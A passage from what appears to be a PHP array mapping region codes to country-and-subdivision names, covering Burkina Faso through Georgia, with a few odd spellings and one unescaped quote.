Kouritenga', 'BF-60' => 'Burkina Faso: Kourweogo', 'BF-61' => 'Burkina Faso: Leraba', 'BF-62' => 'Burkina Faso: Loroum', 'BF-63' => 'Burkina Faso: Mouhoun', 'BF-64' => 'Burkina Faso: Namentenga', 'BF-65' => 'Burkina Faso: Naouri', 'BF-66' => 'Burkina Faso: Nayala', 'BF-67' => 'Burkina Faso: Noumbiel', 'BF-68' => 'Burkina Faso: Oubritenga', 'BF-33' => 'Burkina Faso: Oudalan', 'BF-34' => 'Burkina Faso: Passore', 'BF-69' => 'Burkina Faso: Poni', 'BF-36' => 'Burkina Faso: Sanguie', 'BF-70' => 'Burkina Faso: Sanmatenga', 'BF-71' => 'Burkina Faso: Seno', 'BF-72' => 'Burkina Faso: Sissili', 'BF-40' => 'Burkina Faso: Soum', 'BF-73' => 'Burkina Faso: Sourou', 'BF-42' => 'Burkina Faso: Tapoa', 'BF-74' => 'Burkina Faso: Tuy', 'BF-75' => 'Burkina Faso: Yagha', 'BF-76' => 'Burkina Faso: Yatenga', 'BF-77' => 'Burkina Faso: Ziro', 'BF-78' => 'Burkina Faso: Zondoma', 'BF-44' => 'Burkina Faso: Zoundweogo', '--BI' => '','-BI' => 'Burundi', 'BI-09' => 'Burundi: Bubanza', 'BI-02' => 'Burundi: Bujumbura', 'BI-10' => 'Burundi: Bururi', 'BI-11' => 'Burundi: Cankuzo', 'BI-12' => 'Burundi: Cibitoke', 'BI-13' => 'Burundi: Gitega', 'BI-14' => 'Burundi: Karuzi', 'BI-15' => 'Burundi: Kayanza', 'BI-16' => 'Burundi: Kirundo', 'BI-17' => 'Burundi: Makamba', 'BI-22' => 'Burundi: Muramvya', 'BI-18' => 'Burundi: Muyinga', 'BI-23' => 'Burundi: Mwaro', 'BI-19' => 'Burundi: Ngozi', 'BI-20' => 'Burundi: Rutana', 'BI-21' => 'Burundi: Ruyigi', '--KH' => '','-KH' => 'Cambodia', 'KH-29' => 'Cambodia: Batdambang', 'KH-02' => 'Cambodia: Kampong Cham', 'KH-03' => 'Cambodia: Kampong Chhnang', 'KH-04' => 'Cambodia: Kampong Spoe', 'KH-05' => 'Cambodia: Kampong Thum', 'KH-06' => 'Cambodia: Kampot', 'KH-07' => 'Cambodia: Kandal', 'KH-08' => 'Cambodia: Kaoh Kong', 'KH-09' => 'Cambodia: Kracheh', 'KH-10' => 'Cambodia: Mondol Kiri', 'KH-30' => 'Cambodia: Pailin', 'KH-11' => 'Cambodia: Phnum Penh', 'KH-12' => 'Cambodia: Pouthisat', 'KH-13' => 'Cambodia: Preah Vihear', 'KH-14' => 'Cambodia: Prey Veng', 'KH-15' => 'Cambodia: Rotanokiri', 'KH-16' => 'Cambodia: Siemreab-Otdar Meanchey', 'KH-17' => 'Cambodia: Stoeng Treng', 'KH-18' => 'Cambodia: Svay Rieng', 'KH-19' => 'Cambodia: Takev', '--CM' => '','-CM' => 'Cameroon', 'CM-10' => 'Cameroon: Adamaoua', 'CM-11' => 'Cameroon: Centre', 'CM-04' => 'Cameroon: Est', 'CM-12' => 'Cameroon: Extreme-Nord', 'CM-05' => 'Cameroon: Littoral', 'CM-13' => 'Cameroon: Nord', 'CM-07' => 'Cameroon: Nord-Ouest', 'CM-08' => 'Cameroon: Ouest', 'CM-14' => 'Cameroon: Sud', 'CM-09' => 'Cameroon: Sud-Ouest', '--CA' => '','-CA' => 'Canada', 'CA-AB' => 'Canada: Alberta', 'CA-BC' => 'Canada: British Columbia', 'CA-MB' => 'Canada: Manitoba', 'CA-NB' => 'Canada: New Brunswick', 'CA-NL' => 'Canada: Newfoundland', 'CA-NT' => 'Canada: Northwest Territories', 'CA-NS' => 'Canada: Nova Scotia', 'CA-NU' => 'Canada: Nunavut', 'CA-ON' => 'Canada: Ontario', 'CA-PE' => 'Canada: Prince Edward Island', 'CA-QC' => 'Canada: Quebec', 'CA-SK' => 'Canada: Saskatchewan', 'CA-YT' => 'Canada: Yukon Territory', '--CV' => '','-CV' => 'Cape Verde', 'CV-01' => 'Cape Verde: Boa Vista', 'CV-02' => 'Cape Verde: Brava', 'CV-04' => 'Cape Verde: Maio', 'CV-13' => 'Cape Verde: Mosteiros', 'CV-05' => 'Cape Verde: Paul', 'CV-14' => 'Cape Verde: Praia', 'CV-07' => 'Cape Verde: Ribeira Grande', 'CV-08' => 'Cape Verde: Sal', 'CV-15' => 'Cape Verde: Santa Catarina', 'CV-16' => 'Cape Verde: Santa Cruz', 'CV-17' => 'Cape Verde: Sao Domingos', 'CV-18' => 'Cape Verde: Sao Filipe', 'CV-19' => 'Cape Verde: Sao Miguel', 'CV-10' => 'Cape Verde: Sao Nicolau', 'CV-11' => 'Cape Verde: Sao Vicente', 'CV-20' => 'Cape Verde: Tarrafal', '--KY' => '','-KY' => 'Cayman Islands', 'KY-01' => 'Cayman Islands: Creek', 'KY-02' => 'Cayman Islands: Eastern', 'KY-03' => 'Cayman Islands: Midland', 'KY-04' => 'Cayman Islands: South Town', 'KY-05' => 'Cayman Islands: Spot Bay', 'KY-06' => 'Cayman Islands: Stake Bay', 'KY-07' => 'Cayman Islands: West End', 'KY-08' => 'Cayman Islands: Western', '--CF' => '','-CF' => 'Central African Republic', 'CF-01' => 'Central African Republic: Bamingui-Bangoran', 'CF-18' => 'Central African Republic: Bangui', 'CF-02' => 'Central African Republic: Basse-Kotto', 'CF-03' => 'Central African Republic: Haute-Kotto', 'CF-05' => 'Central African Republic: Haut-Mbomou', 'CF-06' => 'Central African Republic: Kemo', 'CF-07' => 'Central African Republic: Lobaye', 'CF-04' => 'Central African Republic: Mambere-Kadei', 'CF-08' => 'Central African Republic: Mbomou', 'CF-15' => 'Central African Republic: Nana-Grebizi', 'CF-09' => 'Central African Republic: Nana-Mambere', 'CF-17' => 'Central African Republic: Ombella-Mpoko', 'CF-11' => 'Central African Republic: Ouaka', 'CF-12' => 'Central African Republic: Ouham', 'CF-13' => 'Central African Republic: Ouham-Pende', 'CF-16' => 'Central African Republic: Sangha-Mbaere', 'CF-14' => 'Central African Republic: Vakaga', '--TD' => '','-TD' => 'Chad', 'TD-01' => 'Chad: Batha', 'TD-02' => 'Chad: Biltine', 'TD-03' => 'Chad: Borkou-Ennedi-Tibesti', 'TD-04' => 'Chad: Chari-Baguirmi', 'TD-05' => 'Chad: Guera', 'TD-06' => 'Chad: Kanem', 'TD-07' => 'Chad: Lac', 'TD-08' => 'Chad: Logone Occidental', 'TD-09' => 'Chad: Logone Oriental', 'TD-10' => 'Chad: Mayo-Kebbi', 'TD-11' => 'Chad: Moyen-Chari', 'TD-12' => 'Chad: Ouaddai', 'TD-13' => 'Chad: Salamat', 'TD-14' => 'Chad: Tandjile', '--CL' => '','-CL' => 'Chile', 'CL-02' => 'Chile: Aisen del General Carlos Ibanez del Campo', 'CL-03' => 'Chile: Antofagasta', 'CL-04' => 'Chile: Araucania', 'CL-05' => 'Chile: Atacama', 'CL-06' => 'Chile: Bio-Bio', 'CL-07' => 'Chile: Coquimbo', 'CL-08' => 'Chile: Libertador General Bernardo O\'Higgins', 'CL-09' => 'Chile: Los Lagos', 'CL-10' => 'Chile: Magallanes y de la Antartica Chilena', 'CL-11' => 'Chile: Maule', 'CL-12' => 'Chile: Region Metropolitana', 'CL-13' => 'Chile: Tarapaca', 'CL-01' => 'Chile: Valparaiso', '--CN' => '','-CN' => 'China', 'CN-01' => 'China: Anhui', 'CN-22' => 'China: Beijing', 'CN-33' => 'China: Chongqing', 'CN-07' => 'China: Fujian', 'CN-15' => 'China: Gansu', 'CN-30' => 'China: Guangdong', 'CN-16' => 'China: Guangxi', 'CN-18' => 'China: Guizhou', 'CN-31' => 'China: Hainan', 'CN-10' => 'China: Hebei', 'CN-08' => 'China: Heilongjiang', 'CN-09' => 'China: Henan', 'CN-12' => 'China: Hubei', 'CN-11' => 'China: Hunan', 'CN-04' => 'China: Jiangsu', 'CN-03' => 'China: Jiangxi', 'CN-05' => 'China: Jilin', 'CN-19' => 'China: Liaoning', 'CN-20' => 'China: Nei Mongol', 'CN-21' => 'China: Ningxia', 'CN-06' => 'China: Qinghai', 'CN-26' => 'China: Shaanxi', 'CN-25' => 'China: Shandong', 'CN-23' => 'China: Shanghai', 'CN-24' => 'China: Shanxi', 'CN-32' => 'China: Sichuan', 'CN-28' => 'China: Tianjin', 'CN-13' => 'China: Xinjiang', 'CN-14' => 'China: Xizang', 'CN-29' => 'China: Yunnan', 'CN-02' => 'China: Zhejiang', '--CO' => '','-CO' => 'Colombia', 'CO-01' => 'Colombia: Amazonas', 'CO-02' => 'Colombia: Antioquia', 'CO-03' => 'Colombia: Arauca', 'CO-04' => 'Colombia: Atlantico', 'CO-35' => 'Colombia: Bolivar', 'CO-36' => 'Colombia: Boyaca', 'CO-37' => 'Colombia: Caldas', 'CO-08' => 'Colombia: Caqueta', 'CO-32' => 'Colombia: Casanare', 'CO-09' => 'Colombia: Cauca', 'CO-10' => 'Colombia: Cesar', 'CO-11' => 'Colombia: Choco', 'CO-12' => 'Colombia: Cordoba', 'CO-33' => 'Colombia: Cundinamarca', 'CO-34' => 'Colombia: Distrito Especial', 'CO-15' => 'Colombia: Guainia', 'CO-14' => 'Colombia: Guaviare', 'CO-16' => 'Colombia: Huila', 'CO-17' => 'Colombia: La Guajira', 'CO-38' => 'Colombia: Magdalena', 'CO-19' => 'Colombia: Meta', 'CO-20' => 'Colombia: Narino', 'CO-21' => 'Colombia: Norte de Santander', 'CO-22' => 'Colombia: Putumayo', 'CO-23' => 'Colombia: Quindio', 'CO-24' => 'Colombia: Risaralda', 'CO-25' => 'Colombia: San Andres y Providencia', 'CO-26' => 'Colombia: Santander', 'CO-27' => 'Colombia: Sucre', 'CO-28' => 'Colombia: Tolima', 'CO-29' => 'Colombia: Valle del Cauca', 'CO-30' => 'Colombia: Vaupes', 'CO-31' => 'Colombia: Vichada', '--KM' => '','-KM' => 'Comoros', 'KM-01' => 'Comoros: Anjouan', 'KM-02' => 'Comoros: Grande Comore', 'KM-03' => 'Comoros: Moheli', '--CD' => '','-CD' => 'Congo', 'CD-01' => 'Congo: Bandundu', 'CD-08' => 'Congo: Bas-Congo', '--CG' => '','-CG' => 'Congo', 'CG-01' => 'Congo: Bouenza', 'CG-12' => 'Congo: Brazzamark', 'CG-03' => 'Congo: Cuvette', '--CD' => '','-CD' => 'Congo', 'CD-02' => 'Congo: Equateur', 'CD-03' => 'Congo: Kasai-Occidental', 'CD-04' => 'Congo: Kasai-Oriental', 'CD-05' => 'Congo: Katanga', 'CD-06' => 'Congo: Kinshasa', 'CD-07' => 'Congo: Kivu', '--CG' => '','-CG' => 'Congo', 'CG-04' => 'Congo: Kouilou', 'CG-05' => 'Congo: Lekoumou', 'CG-06' => 'Congo: Likouala', '--CD' => '','-CD' => 'Congo', 'CD-10' => 'Congo: Maniema', '--CG' => '','-CG' => 'Congo', 'CG-07' => 'Congo: Niari', '--CD' => '','-CD' => 'Congo', 'CD-11' => 'Congo: Nord-Kivu', 'CD-09' => 'Congo: Orientale', '--CG' => '','-CG' => 'Congo', 'CG-08' => 'Congo: Plateaux', 'CG-11' => 'Congo: Pool', 'CG-10' => 'Congo: Sangha', '--CD' => '','-CD' => 'Congo', 'CD-12' => 'Congo: Sud-Kivu', '--CR' => '','-CR' => 'Costa Rica', 'CR-01' => 'Costa Rica: Alajuela', 'CR-02' => 'Costa Rica: Cartago', 'CR-03' => 'Costa Rica: Guanacaste', 'CR-04' => 'Costa Rica: Heredia', 'CR-06' => 'Costa Rica: Limon', 'CR-07' => 'Costa Rica: Puntarenas', 'CR-08' => 'Costa Rica: San Jose', '--CI' => '','-CI' => 'Cote D'Ivoire', 'CI-01' => 'Cote D\'Ivoire: Abengourou', 'CI-61' => 'Cote D\'Ivoire: Abidjan', 'CI-62' => 'Cote D\'Ivoire: Aboisso', 'CI-63' => 'Cote D\'Ivoire: Adiake', 'CI-05' => 'Cote D\'Ivoire: Adzope', 'CI-06' => 'Cote D\'Ivoire: Agbomark', 'CI-64' => 'Cote D\'Ivoire: Alepe', 'CI-36' => 'Cote D\'Ivoire: Bangolo', 'CI-37' => 'Cote D\'Ivoire: Beoumi', 'CI-07' => 'Cote D\'Ivoire: Biankouma', 'CI-65' => 'Cote D\'Ivoire: Bocanda', 'CI-38' => 'Cote D\'Ivoire: Bondoukou', 'CI-27' => 'Cote D\'Ivoire: Bongouanou', 'CI-39' => 'Cote D\'Ivoire: Bouafle', 'CI-40' => 'Cote D\'Ivoire: Bouake', 'CI-11' => 'Cote D\'Ivoire: Bouna', 'CI-12' => 'Cote D\'Ivoire: Boundiali', 'CI-03' => 'Cote D\'Ivoire: Dabakala', 'CI-66' => 'Cote D\'Ivoire: Dabou', 'CI-41' => 'Cote D\'Ivoire: Daloa', 'CI-14' => 'Cote D\'Ivoire: Danane', 'CI-42' => 'Cote D\'Ivoire: Daoukro', 'CI-67' => 'Cote D\'Ivoire: Dimbokro', 'CI-16' => 'Cote D\'Ivoire: Divo', 'CI-44' => 'Cote D\'Ivoire: Duekoue', 'CI-17' => 'Cote D\'Ivoire: Ferkessedougou', 'CI-18' => 'Cote D\'Ivoire: Gagnoa', 'CI-68' => 'Cote D\'Ivoire: Grand-Bassam', 'CI-45' => 'Cote D\'Ivoire: Grand-Lahou', 'CI-69' => 'Cote D\'Ivoire: Guiglo', 'CI-28' => 'Cote D\'Ivoire: Issia', 'CI-70' => 'Cote D\'Ivoire: Jacquemark', 'CI-20' => 'Cote D\'Ivoire: Katiola', 'CI-21' => 'Cote D\'Ivoire: Korhogo', 'CI-29' => 'Cote D\'Ivoire: Lakota', 'CI-47' => 'Cote D\'Ivoire: Man', 'CI-30' => 'Cote D\'Ivoire: Mankono', 'CI-48' => 'Cote D\'Ivoire: Mbahiakro', 'CI-23' => 'Cote D\'Ivoire: Odienne', 'CI-31' => 'Cote D\'Ivoire: Oume', 'CI-49' => 'Cote D\'Ivoire: Sakassou', 'CI-50' => 'Cote D\'Ivoire: San Pedro', 'CI-51' => 'Cote D\'Ivoire: Sassandra', 'CI-25' => 'Cote D\'Ivoire: Seguela', 'CI-52' => 'Cote D\'Ivoire: Sinfra', 'CI-32' => 'Cote D\'Ivoire: Soubre', 'CI-53' => 'Cote D\'Ivoire: Tabou', 'CI-54' => 'Cote D\'Ivoire: Tanda', 'CI-55' => 'Cote D\'Ivoire: Tiassale', 'CI-71' => 'Cote D\'Ivoire: Tiebissou', 'CI-33' => 'Cote D\'Ivoire: Tingrela', 'CI-26' => 'Cote D\'Ivoire: Touba', 'CI-72' => 'Cote D\'Ivoire: Toulepleu', 'CI-56' => 'Cote D\'Ivoire: Toumodi', 'CI-57' => 'Cote D\'Ivoire: Vavoua', 'CI-73' => 'Cote D\'Ivoire: Yamoussoukro', 'CI-34' => 'Cote D\'Ivoire: Zuenoula', '--HR' => '','-HR' => 'Croatia', 'HR-01' => 'Croatia: Bjelovarsko-Bilogorska', 'HR-02' => 'Croatia: Brodsko-Posavska', 'HR-03' => 'Croatia: Dubrovacko-Neretvanska', 'HR-21' => 'Croatia: Grad Zagreb', 'HR-04' => 'Croatia: Istarska', 'HR-05' => 'Croatia: Karlovacka', 'HR-06' => 'Croatia: Koprivnicko-Krizevacka', 'HR-07' => 'Croatia: Krapinsko-Zagorska', 'HR-08' => 'Croatia: Licko-Senjska', 'HR-09' => 'Croatia: Medimurska', 'HR-10' => 'Croatia: Osjecko-Baranjska', 'HR-11' => 'Croatia: Pozesko-Slavonska', 'HR-12' => 'Croatia: Primorsko-Goranska', 'HR-13' => 'Croatia: Sibensko-Kninska', 'HR-14' => 'Croatia: Sisacko-Moslavacka', 'HR-15' => 'Croatia: Splitsko-Dalmatinska', 'HR-16' => 'Croatia: Varazdinska', 'HR-17' => 'Croatia: Viroviticko-Podravska', 'HR-18' => 'Croatia: Vukovarsko-Srijemska', 'HR-19' => 'Croatia: Zadarska', 'HR-20' => 'Croatia: Zagrebacka', '--CU' => '','-CU' => 'Cuba', 'CU-05' => 'Cuba: Camaguey', 'CU-07' => 'Cuba: Ciego de Avila', 'CU-08' => 'Cuba: Cienfuegos', 'CU-02' => 'Cuba: Ciudad de la Habana', 'CU-09' => 'Cuba: Granma', 'CU-10' => 'Cuba: Guantanamo', 'CU-12' => 'Cuba: Holguin', 'CU-04' => 'Cuba: Isla de la Juventud', 'CU-11' => 'Cuba: La Habana', 'CU-13' => 'Cuba: Las Tunas', 'CU-03' => 'Cuba: Matanzas', 'CU-01' => 'Cuba: Pinar del Rio', 'CU-14' => 'Cuba: Sancti Spiritus', 'CU-15' => 'Cuba: Santiago de Cuba', 'CU-16' => 'Cuba: Villa Clara', '--CY' => '','-CY' => 'Cyprus', 'CY-01' => 'Cyprus: Famagusta', 'CY-02' => 'Cyprus: Kyrenia', 'CY-03' => 'Cyprus: Larnaca', 'CY-05' => 'Cyprus: Limassol', 'CY-04' => 'Cyprus: Nicosia', 'CY-06' => 'Cyprus: Paphos', '--CZ' => '','-CZ' => 'Czech Republic', 'CZ-03' => 'Czech Republic: Blansko', 'CZ-04' => 'Czech Republic: Breclav', 'CZ-52' => 'Czech Republic: Hlavni Mesto Praha', 'CZ-20' => 'Czech Republic: Hradec Kralove', 'CZ-21' => 'Czech Republic: Jablonec nad Nisou', 'CZ-23' => 'Czech Republic: Jiein', 'CZ-24' => 'Czech Republic: Jihlava', 'CZ-79' => 'Czech Republic: Jihocesky Kraj', 'CZ-78' => 'Czech Republic: Jihomoravsky Kraj', 'CZ-81' => 'Czech Republic: Karlovarsky Kraj', 'CZ-30' => 'Czech Republic: Kolin', 'CZ-82' => 'Czech Republic: Kralovehradecky Kraj', 'CZ-33' => 'Czech Republic: Liberec', 'CZ-83' => 'Czech Republic: Liberecky Kraj', 'CZ-36' => 'Czech Republic: Melnik', 'CZ-37' => 'Czech Republic: Mlada Boleslav', 'CZ-85' => 'Czech Republic: Moravskoslezsky Kraj', 'CZ-39' => 'Czech Republic: Nachod', 'CZ-41' => 'Czech Republic: Nymburk', 'CZ-84' => 'Czech Republic: Olomoucky Kraj', 'CZ-45' => 'Czech Republic: Pardubice', 'CZ-86' => 'Czech Republic: Pardubicky Kraj', 'CZ-87' => 'Czech Republic: Plzensky Kraj', 'CZ-61' => 'Czech Republic: Semily', 'CZ-88' => 'Czech Republic: Stredocesky Kraj', 'CZ-70' => 'Czech Republic: Trutnov', 'CZ-89' => 'Czech Republic: Ustecky Kraj', 'CZ-80' => 'Czech Republic: Vysocina', 'CZ-90' => 'Czech Republic: Zlinsky Kraj', '--DK' => '','-DK' => 'Denmark', 'DK-01' => 'Denmark: Arhus', 'DK-02' => 'Denmark: Bornholm', 'DK-03' => 'Denmark: Frederiksborg', 'DK-04' => 'Denmark: Fyn', 'DK-05' => 'Denmark: Kobenhavn', 'DK-07' => 'Denmark: Nordjylland', 'DK-08' => 'Denmark: Ribe', 'DK-09' => 'Denmark: Ringkobing', 'DK-10' => 'Denmark: Roskilde', 'DK-11' => 'Denmark: Sonderjylland', 'DK-06' => 'Denmark: Staden Kobenhavn', 'DK-12' => 'Denmark: Storstrom', 'DK-13' => 'Denmark: Vejle', 'DK-14' => 'Denmark: Vestsjalland', 'DK-15' => 'Denmark: Viborg', '--DJ' => '','-DJ' => 'Djibouti', 'DJ-02' => 'Djibouti: Dikhil', 'DJ-03' => 'Djibouti: Djibouti', 'DJ-04' => 'Djibouti: Obock', 'DJ-05' => 'Djibouti: Tadjoura', '--DM' => '','-DM' => 'Dominica', 'DM-02' => 'Dominica: Saint Andrew', 'DM-03' => 'Dominica: Saint David', 'DM-04' => 'Dominica: Saint George', 'DM-05' => 'Dominica: Saint John', 'DM-06' => 'Dominica: Saint Joseph', 'DM-07' => 'Dominica: Saint Luke', 'DM-08' => 'Dominica: Saint Mark', 'DM-09' => 'Dominica: Saint Patrick', 'DM-10' => 'Dominica: Saint Paul', 'DM-11' => 'Dominica: Saint Peter', '--DO' => '','-DO' => 'Dominican Republic', 'DO-01' => 'Dominican Republic: Azua', 'DO-02' => 'Dominican Republic: Baoruco', 'DO-03' => 'Dominican Republic: Barahona', 'DO-04' => 'Dominican Republic: Dajabon', 'DO-05' => 'Dominican Republic: Distrito Nacional', 'DO-06' => 'Dominican Republic: Duarte', 'DO-28' => 'Dominican Republic: El Seibo', 'DO-11' => 'Dominican Republic: Elias Pina', 'DO-08' => 'Dominican Republic: Espaillat', 'DO-29' => 'Dominican Republic: Hato Mayor', 'DO-09' => 'Dominican Republic: Independencia', 'DO-10' => 'Dominican Republic: La Altagracia', 'DO-12' => 'Dominican Republic: La Romana', 'DO-30' => 'Dominican Republic: La Vega', 'DO-14' => 'Dominican Republic: Maria Trinidad Sanchez', 'DO-31' => 'Dominican Republic: Monsenor Nouel', 'DO-15' => 'Dominican Republic: Monte Cristi', 'DO-32' => 'Dominican Republic: Monte Plata', 'DO-16' => 'Dominican Republic: Pedernales', 'DO-17' => 'Dominican Republic: Peravia', 'DO-18' => 'Dominican Republic: Puerto Plata', 'DO-19' => 'Dominican Republic: Salcedo', 'DO-20' => 'Dominican Republic: Samana', 'DO-33' => 'Dominican Republic: San Cristobal', 'DO-23' => 'Dominican Republic: San Juan', 'DO-24' => 'Dominican Republic: San Pedro De Macoris', 'DO-21' => 'Dominican Republic: Sanchez Ramirez', 'DO-26' => 'Dominican Republic: Santiago Rodriguez', 'DO-25' => 'Dominican Republic: Santiago', 'DO-27' => 'Dominican Republic: Valverde', '--EC' => '','-EC' => 'Ecuador', 'EC-02' => 'Ecuador: Azuay', 'EC-03' => 'Ecuador: Bolivar', 'EC-04' => 'Ecuador: Canar', 'EC-05' => 'Ecuador: Carchi', 'EC-06' => 'Ecuador: Chimborazo', 'EC-07' => 'Ecuador: Cotopaxi', 'EC-08' => 'Ecuador: El Oro', 'EC-09' => 'Ecuador: Esmeraldas', 'EC-01' => 'Ecuador: Galapagos', 'EC-10' => 'Ecuador: Guayas', 'EC-11' => 'Ecuador: Imbabura', 'EC-12' => 'Ecuador: Loja', 'EC-13' => 'Ecuador: Los Rios', 'EC-14' => 'Ecuador: Manabi', 'EC-15' => 'Ecuador: Morona-Santiago', 'EC-23' => 'Ecuador: Napo', 'EC-24' => 'Ecuador: Orellana', 'EC-17' => 'Ecuador: Pastaza', 'EC-18' => 'Ecuador: Pichincha', 'EC-22' => 'Ecuador: Sucumbios', 'EC-19' => 'Ecuador: Tungurahua', 'EC-20' => 'Ecuador: Zamora-Chinchipe', '--EG' => '','-EG' => 'Egypt', 'EG-01' => 'Egypt: Ad Daqahliyah', 'EG-02' => 'Egypt: Al Bahr al Ahmar', 'EG-03' => 'Egypt: Al Buhayrah', 'EG-04' => 'Egypt: Al Fayyum', 'EG-05' => 'Egypt: Al Gharbiyah', 'EG-06' => 'Egypt: Al Iskandariyah', 'EG-07' => 'Egypt: Al Isma\'iliyah', 'EG-08' => 'Egypt: Al Jizah', 'EG-09' => 'Egypt: Al Minufiyah', 'EG-10' => 'Egypt: Al Minya', 'EG-11' => 'Egypt: Al Qahirah', 'EG-12' => 'Egypt: Al Qalyubiyah', 'EG-13' => 'Egypt: Al Wadi al Jadid', 'EG-15' => 'Egypt: As Suways', 'EG-14' => 'Egypt: Ash Sharqiyah', 'EG-16' => 'Egypt: Aswan', 'EG-17' => 'Egypt: Asyut', 'EG-18' => 'Egypt: Bani Suwayf', 'EG-19' => 'Egypt: Bur Sa\'id', 'EG-20' => 'Egypt: Dumyat', 'EG-26' => 'Egypt: Janub Sina\'', 'EG-21' => 'Egypt: Kafr ash Shaykh', 'EG-22' => 'Egypt: Matruh', 'EG-23' => 'Egypt: Qina', 'EG-27' => 'Egypt: Shamal Sina\'', 'EG-24' => 'Egypt: Suhaj', '--SV' => '','-SV' => 'El Salvador', 'SV-01' => 'El Salvador: Ahuachapan', 'SV-02' => 'El Salvador: Cabanas', 'SV-03' => 'El Salvador: Chalatenango', 'SV-04' => 'El Salvador: Cuscatlan', 'SV-05' => 'El Salvador: La Libertad', 'SV-06' => 'El Salvador: La Paz', 'SV-07' => 'El Salvador: La Union', 'SV-08' => 'El Salvador: Morazan', 'SV-09' => 'El Salvador: San Miguel', 'SV-10' => 'El Salvador: San Salvador', 'SV-12' => 'El Salvador: San Vicente', 'SV-11' => 'El Salvador: Santa Ana', 'SV-13' => 'El Salvador: Sonsonate', 'SV-14' => 'El Salvador: Usulutan', '--GQ' => '','-GQ' => 'Equatorial Guinea', 'GQ-03' => 'Equatorial Guinea: Annobon', 'GQ-04' => 'Equatorial Guinea: Bioko Norte', 'GQ-05' => 'Equatorial Guinea: Bioko Sur', 'GQ-06' => 'Equatorial Guinea: Centro Sur', 'GQ-07' => 'Equatorial Guinea: Kie-Ntem', 'GQ-08' => 'Equatorial Guinea: Litoral', 'GQ-09' => 'Equatorial Guinea: Wele-Nzas', '--EE' => '','-EE' => 'Estonia', 'EE-01' => 'Estonia: Harjumaa', 'EE-02' => 'Estonia: Hiiumaa', 'EE-03' => 'Estonia: Ida-Virumaa', 'EE-04' => 'Estonia: Jarvamaa', 'EE-05' => 'Estonia: Jogevamaa', 'EE-06' => 'Estonia: Kohtla-Jarve', 'EE-07' => 'Estonia: Laanemaa', 'EE-08' => 'Estonia: Laane-Virumaa', 'EE-09' => 'Estonia: Narva', 'EE-10' => 'Estonia: Parnu', 'EE-11' => 'Estonia: Parnumaa', 'EE-12' => 'Estonia: Polvamaa', 'EE-13' => 'Estonia: Raplamaa', 'EE-14' => 'Estonia: Saaremaa', 'EE-15' => 'Estonia: Sillamae', 'EE-16' => 'Estonia: Tallinn', 'EE-17' => 'Estonia: Tartu', 'EE-18' => 'Estonia: Tartumaa', 'EE-19' => 'Estonia: Valgamaa', 'EE-20' => 'Estonia: Viljandimaa', 'EE-21' => 'Estonia: Vorumaa', '--ET' => '','-ET' => 'Ethiopia', 'ET-10' => 'Ethiopia: Addis Abeba', 'ET-44' => 'Ethiopia: Adis Abeba', 'ET-14' => 'Ethiopia: Afar', 'ET-45' => 'Ethiopia: Afar', 'ET-46' => 'Ethiopia: Amara', 'ET-02' => 'Ethiopia: Amhara', 'ET-13' => 'Ethiopia: Benishangul', 'ET-47' => 'Ethiopia: Binshangul Gumuz', 'ET-48' => 'Ethiopia: Dire Dawa', 'ET-49' => 'Ethiopia: Gambela Hizboch', 'ET-08' => 'Ethiopia: Gambella', 'ET-50' => 'Ethiopia: Hareri Hizb', 'ET-51' => 'Ethiopia: Oromiya', 'ET-07' => 'Ethiopia: Somali', 'ET-11' => 'Ethiopia: Southern', 'ET-52' => 'Ethiopia: Sumale', 'ET-12' => 'Ethiopia: Tigray', 'ET-53' => 'Ethiopia: Tigray', 'ET-54' => 'Ethiopia: YeDebub Biheroch Bihereseboch na Hizboch', '--FJ' => '','-FJ' => 'Fiji', 'FJ-01' => 'Fiji: Central', 'FJ-02' => 'Fiji: Eastern', 'FJ-03' => 'Fiji: Northern', 'FJ-04' => 'Fiji: Rotuma', 'FJ-05' => 'Fiji: Western', '--FI' => '','-FI' => 'Finland', 'FI-01' => 'Finland: Åland', 'FI-14' => 'Finland: Eastern Finland', 'FI-06' => 'Finland: Lapland', 'FI-08' => 'Finland: Oulu', 'FI-13' => 'Finland: Southern Finland', 'FI-15' => 'Finland: Western Finland', '--FR' => '','-FR' => 'France', 'FR-C1' => 'France: Alsace', 'FR-97' => 'France: Aquitaine', 'FR-98' => 'France: Auvergne', 'FR-99' => 'France: Basse-Normandie', 'FR-A1' => 'France: Bourgogne', 'FR-A2' => 'France: Bretagne', 'FR-A3' => 'France: Centre', 'FR-A4' => 'France: Champagne-Ardenne', 'FR-A5' => 'France: Corse', 'FR-A6' => 'France: Franche-Comte', 'FR-A7' => 'France: Haute-Normandie', 'FR-A8' => 'France: Ile-de-France', 'FR-A9' => 'France: Languedoc-Roussillon', 'FR-B1' => 'France: Limousin', 'FR-B2' => 'France: Lorraine', 'FR-B3' => 'France: Midi-Pyrenees', 'FR-B4' => 'France: Nord-Pas-de-Calais', 'FR-B5' => 'France: Pays de la Loire', 'FR-B6' => 'France: Picardie', 'FR-B7' => 'France: Poitou-Charentes', 'FR-B8' => 'France: Provence-Alpes-Cote d\'Azur', 'FR-B9' => 'France: Rhone-Alpes', '--GA' => '','-GA' => 'Gabon', 'GA-01' => 'Gabon: Estuaire', 'GA-02' => 'Gabon: Haut-Ogooue', 'GA-03' => 'Gabon: Moyen-Ogooue', 'GA-04' => 'Gabon: Ngounie', 'GA-05' => 'Gabon: Nyanga', 'GA-06' => 'Gabon: Ogooue-Ivindo', 'GA-07' => 'Gabon: Ogooue-Lolo', 'GA-08' => 'Gabon: Ogooue-Maritime', 'GA-09' => 'Gabon: Woleu-Ntem', '--GM' => '','-GM' => 'Gambia', 'GM-01' => 'Gambia: Banjul', 'GM-02' => 'Gambia: Lower River', 'GM-03' => 'Gambia: MacCarthy Island', 'GM-07' => 'Gambia: North Bank', 'GM-04' => 'Gambia: Upper River', 'GM-05' => 'Gambia: Western', '--GE' => '','-GE' => 'Georgia', 'GE-01' => 'Georgia: Abashis Raioni', 'GE-02' => 'Georgia: Abkhazia', 'GE-03' => 'Georgia: Adigenis Raioni', 'GE-04' => 'Georgia: Ajaria', 'GE-05' => 'Georgia: Akhalgoris Raioni', 'GE-06' => 'Georgia: Akhalk\'alak\'is Raioni', 'GE-07' => 'Georgia: Akhalts\'ikhis Raioni', 'GE-08' => 'Georgia: Akhmetis Raioni', 'GE-09' => 'Georgia: Ambrolauris Raioni', 'GE-10' => 'Georgia: Aspindzis Raioni', 'GE-11' => 'Georgia: Baghdat\'is Raioni', 'GE-12' => 'Georgia: Bolnisis Raioni', 'GE-13' => 'Georgia: Borjomis Raioni', 'GE-14' => 'Georgia: Chiat\'ura', 'GE-15' => 'Georgia: Ch\'khorotsqus 